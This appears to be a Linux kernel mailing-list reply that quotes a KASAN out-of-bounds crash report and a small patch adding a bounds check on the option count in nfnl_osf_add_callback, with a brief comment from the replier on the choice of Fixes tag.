> do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
> do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
> entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120
> RIP: 0033:0x7f1674040fef
> Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 29 fd ff ff 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 5c fd ff ff 48
> RSP: 002b:00007ffe90523f50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
> RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1674040fef
> RDX: 0000000000000080 RSI: 00007ffe90524030 RDI: 0000000000000006
> RBP: 00007ffe905240d0 R08: 0000000000000000 R09: 0000000000000000
> R10: 0000560534f9b61f R11: 0000000000000293 R12: 0000560534f9c1b0
> R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
> </TASK>
>
> Allocated by task 6431:
> kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38
> kasan_set_track linux-6.0-rc4/mm/kasan/common.c:45
> set_alloc_info linux-6.0-rc4/mm/kasan/common.c:437
> ____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:516
> ____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:475
> __kasan_kmalloc+0xa6/0xd0 linux-6.0-rc4/mm/kasan/common.c:525
> kasan_kmalloc linux-6.0-rc4/./include/linux/kasan.h:234
> kmem_cache_alloc_trace+0x25a/0x460 linux-6.0-rc4/mm/slab.c:3559
> kmalloc linux-6.0-rc4/./include/linux/slab.h:600
> nfnl_osf_add_callback+0x11f/0x550 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:316
> nfnetlink_rcv_msg+0xbcf/0x13f0 linux-6.0-rc4/net/netfilter/nfnetlink.c:300
> netlink_rcv_skb+0x153/0x420 linux-6.0-rc4/net/netlink/af_netlink.c:2501
> nfnetlink_rcv+0x1ac/0x420 linux-6.0-rc4/net/netfilter/nfnetlink.c:658
> netlink_unicast_kernel linux-6.0-rc4/net/netlink/af_netlink.c:1319
> netlink_unicast+0x543/0x7f0 linux-6.0-rc4/net/netlink/af_netlink.c:1345
> netlink_sendmsg+0x918/0xe20 linux-6.0-rc4/net/netlink/af_netlink.c:1921
> sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714
> sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734
> ____sys_sendmsg+0x6e6/0x800 linux-6.0-rc4/net/socket.c:2482
> ___sys_sendmsg+0x11d/0x1b0 linux-6.0-rc4/net/socket.c:2536
> __sys_sendmsg+0xfa/0x1d0 linux-6.0-rc4/net/socket.c:2565
> do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
> do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
> entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120
>
> Last potentially related work creation:
> kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38
> __kasan_record_aux_stack+0x7e/0x90 linux-6.0-rc4/mm/kasan/generic.c:348
> kvfree_call_rcu+0x74/0x940 linux-6.0-rc4/kernel/rcu/tree.c:3322
> put_css_set_locked linux-6.0-rc4/kernel/cgroup/cgroup.c:988
> put_css_set_locked+0xa9c/0x1000 linux-6.0-rc4/kernel/cgroup/cgroup.c:954
> put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:211
> put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:198
> cgroup_free+0x83/0x1b0 linux-6.0-rc4/kernel/cgroup/cgroup.c:6525
> __put_task_struct+0x113/0x3d0 linux-6.0-rc4/kernel/fork.c:840
> put_task_struct linux-6.0-rc4/./include/linux/sched/task.h:119
> delayed_put_task_struct+0x1f1/0x330 linux-6.0-rc4/kernel/exit.c:177
> rcu_do_batch linux-6.0-rc4/kernel/rcu/tree.c:2245
> rcu_core+0x7bb/0x1850 linux-6.0-rc4/kernel/rcu/tree.c:2505
> __do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571
>
> The buggy address belongs to the object at ffff88804bc64000
> which belongs to the cache kmalloc-1k of size 1024
> The buggy address is located 626 bytes inside of
> 1024-byte region [ffff88804bc64000, ffff88804bc64400)
>
> The buggy address belongs to the physical page:
> page:ffffea00012f1900 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4bc64
> flags: 0x4fff00000000200(slab|node=1|zone=1|lastcpupid=0x7ff)
> raw: 04fff00000000200 ffffea0001023808 ffffea00012f1f08 ffff888011840700
> raw: 0000000000000000 ffff88804bc64000 0000000100000002 0000000000000000
> page dumped because: kasan: bad access detected
> page_owner tracks the page as allocated
> page last allocated via order 0, migratetype Unmovable, gfp_mask 0x2420c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_COMP|__GFP_THISNODE), pid 1, tgid 1 (systemd), ts 22208538581, free_ts 22201347598
> prep_new_page linux-6.0-rc4/mm/page_alloc.c:2532
> get_page_from_freelist+0x1082/0x2ae0 linux-6.0-rc4/mm/page_alloc.c:4283
> __alloc_pages+0x1c7/0x510 linux-6.0-rc4/mm/page_alloc.c:5515
> __alloc_pages_node linux-6.0-rc4/./include/linux/gfp.h:243
> kmem_getpages linux-6.0-rc4/mm/slab.c:1363
> cache_grow_begin+0x75/0x370 linux-6.0-rc4/mm/slab.c:2569
> cache_alloc_refill+0x27e/0x380 linux-6.0-rc4/mm/slab.c:2942
> ____cache_alloc linux-6.0-rc4/mm/slab.c:3018
> ____cache_alloc linux-6.0-rc4/mm/slab.c:3001
> slab_alloc_node linux-6.0-rc4/mm/slab.c:3220
> kmem_cache_alloc_node_trace+0x4f5/0x560 linux-6.0-rc4/mm/slab.c:3601
> __do_kmalloc_node linux-6.0-rc4/mm/slab.c:3623
> __kmalloc_node+0x38/0x60 linux-6.0-rc4/mm/slab.c:3631
> kmalloc_node linux-6.0-rc4/./include/linux/slab.h:623
> kvmalloc_node+0x3e/0x190 linux-6.0-rc4/mm/util.c:613
> kvzalloc_node linux-6.0-rc4/./include/linux/slab.h:754
> alloc_shrinker_info+0xe9/0x290 linux-6.0-rc4/mm/vmscan.c:282
> mem_cgroup_css_online+0x182/0x470 linux-6.0-rc4/mm/memcontrol.c:5292
> online_css+0xaf/0x2a0 linux-6.0-rc4/kernel/cgroup/cgroup.c:5334
> css_create linux-6.0-rc4/kernel/cgroup/cgroup.c:5405
> cgroup_apply_control_enable+0x69f/0xc00 linux-6.0-rc4/kernel/cgroup/cgroup.c:3204
> cgroup_mkdir+0x5a0/0x1300 linux-6.0-rc4/kernel/cgroup/cgroup.c:5602
> kernfs_iop_mkdir+0x146/0x1d0 linux-6.0-rc4/fs/kernfs/dir.c:1185
> vfs_mkdir+0x3a9/0x650 linux-6.0-rc4/fs/namei.c:4013
> do_mkdirat+0x28c/0x310 linux-6.0-rc4/fs/namei.c:4038
> __do_sys_mkdir linux-6.0-rc4/fs/namei.c:4058
> __se_sys_mkdir linux-6.0-rc4/fs/namei.c:4056
> __x64_sys_mkdir+0xf2/0x140 linux-6.0-rc4/fs/namei.c:4056
> page last free stack trace:
> reset_page_owner linux-6.0-rc4/./include/linux/page_owner.h:24
> free_pages_prepare linux-6.0-rc4/mm/page_alloc.c:1449
> free_pcp_prepare+0x4b0/0xb50 linux-6.0-rc4/mm/page_alloc.c:1499
> free_unref_page_prepare linux-6.0-rc4/mm/page_alloc.c:3380
> free_unref_page+0x19/0x520 linux-6.0-rc4/mm/page_alloc.c:3476
> tlb_batch_list_free linux-6.0-rc4/mm/mmu_gather.c:74
> tlb_finish_mmu+0x1a3/0x7e0 linux-6.0-rc4/mm/mmu_gather.c:356
> exit_mmap+0x1d2/0x480 linux-6.0-rc4/mm/mmap.c:3118
> __mmput+0x122/0x4b0 linux-6.0-rc4/kernel/fork.c:1187
> mmput+0x56/0x60 linux-6.0-rc4/kernel/fork.c:1208
> exit_mm linux-6.0-rc4/kernel/exit.c:510
> do_exit+0x9d9/0x29b0 linux-6.0-rc4/kernel/exit.c:782
> do_group_exit+0xd2/0x2f0 linux-6.0-rc4/kernel/exit.c:925
> __do_sys_exit_group linux-6.0-rc4/kernel/exit.c:936
> __se_sys_exit_group linux-6.0-rc4/kernel/exit.c:934
> __x64_sys_exit_group+0x3a/0x50 linux-6.0-rc4/kernel/exit.c:934
> do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
> do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
> entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120
>
> Memory state around the buggy address:
> ffff88804bc64100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> ffff88804bc64180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>> ffff88804bc64200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc
> ^
> ffff88804bc64280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> ffff88804bc64300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>
> ---
>
> Changelog:
> ----------
>
> v1:
> * Initial patch
> v2:
> * Move the validation to nfnl_osf_add_callback()
>
> Fixes: f9324952088f ("netfilter: nfnetlink_osf: extract nfnetlink_subsystem code from xt_osf.c")

I am not sure whether this is the right "Fixes" tag. While it is true I
introduced this line it came from the existing xt_osf.c. I guess, it is
fine as probably this commit is more relevant for backporting needs than
the original one.

> Reported-by: Lucas Leong <wmliang@infosec.exchange>
> Cc: stable@kernel.org
> Signed-off-by: Wander Lairson Costa <wander@redhat.com>
> ---
> net/netfilter/nfnetlink_osf.c | 3 +++
> 1 file changed, 3 insertions(+)
>
> diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
> index 8f1bfa6ccc2d..13fedf2aaa0f 100644
> --- a/net/netfilter/nfnetlink_osf.c
> +++ b/net/netfilter/nfnetlink_osf.c
> @@ -315,6 +315,9 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
>
> f = nla_data(osf_attrs[OSF_ATTR_FINGER]);
>
> + if (f->opt_num > ARRAY_SIZE(f->opt))
> + return -EINVAL;
> +
> kf = kmalloc(sizeof(struct nf_osf_finger), GFP_KERNEL);
> if (!kf)
> return -ENOMEM;

\
 
 \ /
  Last update: 2023-08-31 17:32    [W:0.110 / U:0.140 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site